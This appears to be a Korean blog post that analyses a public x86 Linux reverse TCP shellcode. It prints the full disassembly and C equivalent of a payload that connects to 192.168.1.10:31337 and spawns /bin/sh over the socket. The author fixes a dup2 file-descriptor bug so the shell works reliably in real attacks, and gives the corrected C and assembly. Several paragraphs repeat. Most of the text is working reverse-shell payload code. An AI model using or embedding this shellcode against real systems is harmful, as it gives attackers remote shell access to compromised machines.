인터넷에서 다양한 reverse TCP 쉘코드를 찾을 수 있는데 실전에서 사용시 가끔 잘 동작하지 않을때가 있어서(nc로 연결하자마자 종료된다던지) 쉘코드를 한번 분석해봤습니다.
분석할 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-849.php 입니다.
링크 외에도 다양한 reverse TCP 쉘코드가 많은데, 제가 본 코드중에 가장 가독성 있고, 깔끔한 쉘코드여서 해당 쉘코드를 선택했습니다.
어셈코드는 다음과 같습니다.
소스코드는 다음과 같습니다.
socketcall 함수의 첫번째 인자는 호출할 socket관련 함수의 번호이며, 두번째 인자는 socket관련 함수에 전해줄 인자들이 들어있는 배열입니다.
여기서 문제가 되는 부분은 dup2 함수를 호출할때입니다.
쉘을 연결해야 하는 socketFD를 이용하지 않고 단순히 3번 FD를 stdin, stdout, stderr로 바꿔주네요.
단지 링크에 올려놓은 쉘코드뿐만 아니라 인터넷에 올라와있는 많은 쉘코드들이 저런식으로 코딩돼 있습니다.
만약 쉘코드가 실행되기 전에 바이너리 안에서 파일을 open 후 close 하지 않거나, 다른 프로세스와 통신하기 위해 파이프라인을 생성했다면, 또는 그 외에 File Descriptor를 생성하는 모든 함수에 의해 socketFD는 3번이 아니게 될 수 있습니다.
그러므로 간단하게 dup2 함수 호출 전에 socket함수로 반환된 socketFD를 저장해놓은 esi 레지스터 값을 ebx에다가 mov 해주면 어떠한 상황에서도 정상적으로 동작 할 수 있습니다.
소스코드
어셈코드는 다음과 같습니다.
분석할 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-849.php 입니다.
링크 외에도 다양한 reverse TCP 쉘코드가 많은데, 제가 본 코드중에 가장 가독성 있고, 깔끔한 쉘코드여서 해당 쉘코드를 선택했습니다.
어셈코드는 다음과 같습니다.
08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: 31 db xor ebx,ebx 8048064: 31 c9 xor ecx,ecx 8048066: 31 d2 xor edx,edx 8048068: b0 66 mov al,0x66 804806a: b3 01 mov bl,0x1 804806c: 51 push ecx 804806d: 6a 06 push 0x6 804806f: 6a 01 push 0x1 8048071: 6a 02 push 0x2 8048073: 89 e1 mov ecx,esp 8048075: cd 80 int 0x80 8048077: 89 c6 mov esi,eax 8048079: b0 66 mov al,0x66 804807b: 31 db xor ebx,ebx 804807d: b3 02 mov bl,0x2 804807f: 68 c0 a8 01 0a push 0xa01a8c0 8048084: 66 68 7a 69 pushw 0x697a 8048088: 66 53 push bx 804808a: fe c3 inc bl 804808c: 89 e1 mov ecx,esp 804808e: 6a 10 push 0x10 8048090: 51 push ecx 8048091: 56 push esi 8048092: 89 e1 mov ecx,esp 8048094: cd 80 int 0x80 8048096: 31 c9 xor ecx,ecx 8048098: b1 03 mov cl,0x3 0804809a <dupfd>: 804809a: fe c9 dec cl 804809c: b0 3f mov al,0x3f 804809e: cd 80 int 0x80 80480a0: 75 f8 jne 804809a ; <dupfd> 80480a2: 31 c0 xor eax,eax 80480a4: 52 push edx 80480a5: 68 6e 2f 73 68 push 0x68732f6e 80480aa: 68 2f 2f 62 69 push 0x69622f2f 80480af: 89 e3 mov ebx,esp 80480b1: 52 push edx 80480b2: 53 push ebx 80480b3: 89 e1 mov ecx,esp 80480b5: 52 push edx 80480b6: 89 e2 mov edx,esp 80480b8: b0 0b mov al,0xb 80480ba: cd 80 int 0x80
소스코드는 다음과 같습니다.
socketcall 함수의 첫번째 인자는 호출할 socket관련 함수의 번호이며, 두번째 인자는 socket관련 함수에 전해줄 인자들이 들어있는 배열입니다.
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수 struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; // 0x2 serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10"); serverAddr.sin_port = htons(31337); socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수 int i = 3; while (i--) dup2(3, i); execve("/bin/sh", ["/bin/sh", NULL], NULL);
여기서 문제가 되는 부분은 dup2 함수를 호출할때입니다.
쉘을 연결해야 하는 socketFD를 이용하지 않고 단순히 3번 FD를 stdin, stdout, stderr로 바꿔주네요.
단지 링크에 올려놓은 쉘코드뿐만 아니라 인터넷에 올라와있는 많은 쉘코드들이 저런식으로 코딩돼 있습니다.
만약 쉘코드가 실행되기 전에 바이너리 안에서 파일을 open 후 close 하지 않거나, 다른 프로세스와 통신하기 위해 파이프라인을 생성했다면, 또는 그 외에 File Descriptor를 생성하는 모든 함수에 의해 socketFD는 3번이 아니게 될 수 있습니다.
그러므로 간단하게 dup2 함수 호출 전에 socket함수로 반환된 socketFD를 저장해놓은 esi 레지스터 값을 ebx에다가 mov 해주면 어떠한 상황에서도 정상적으로 동작 할 수 있습니다.
소스코드
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수 struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; // 0x2 serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10"); serverAddr.sin_port = htons(31337); socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수 int i = 3; while (i--) dup2(socketFD, i); // 수정된 부분 execve("/bin/sh", ["/bin/sh", NULL], NULL);
어셈코드는 다음과 같습니다.
08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: 31 db xor ebx,ebx 8048064: 31 c9 xor ecx,ecx 8048066: 31 d2 xor edx,edx 8048068: b0 66 mov al,0x66 804806a: b3 01 mov bl,0x1 804806c: 51 push ecx 804806d: 6a 06 push 0x6 804806f: 6a 01 push 0x1 8048071: 6a 02 push 0x2 8048073: 89 e1 mov ecx,esp 8048075: cd 80 int 0x80 8048077: 89 c6 mov esi,eax 8048079: b0 66 mov al,0x66 804807b: 31 db xor ebx,ebx 804807d: b3 02 mov bl,0x2 804807f: 68 c0 a8 01 0a push 0xa01a8c0 8048084: 66 68 7a 69 pushw 0x697a 8048088: 66 53 push bx 804808a: fe c3 inc bl 804808c: 89 e1 mov ecx,esp 804808e: 6a 10 push 0x10 8048090: 51 push ecx 8048091: 56 push esi 8048092: 89 e1 mov ecx,esp 8048094: cd 80 int 0x80 8048096: 89 d9 mov ecx,ebx ; ebx == 3 8048098: 89 f3 mov ebx,esi ; esi == socket file descriptor 0804809a <dupfd>: 804809a: fe c9 dec cl 804809c: b0 3f mov al,0x3f 804809e: cd 80 int 0x80 80480a0: 75 f8 jne 804809a ; <dupfd> 80480a2: 31 c0 xor eax,eax 80480a4: 52 push edx 80480a5: 68 6e 2f 73 68 push 0x68732f6e 80480aa: 68 2f 2f 62 69 push 0x69622f2f 80480af: 89 e3 mov ebx,esp 80480b1: 52 push edx 80480b2: 53 push ebx 80480b3: 89 e1 mov ecx,esp 80480b5: 52 push edx 80480b6: 89 e2 mov edx,esp 80480b8: b0 0b mov al,0xb 80480ba: cd 80 int 0x80
댓글
댓글 쓰기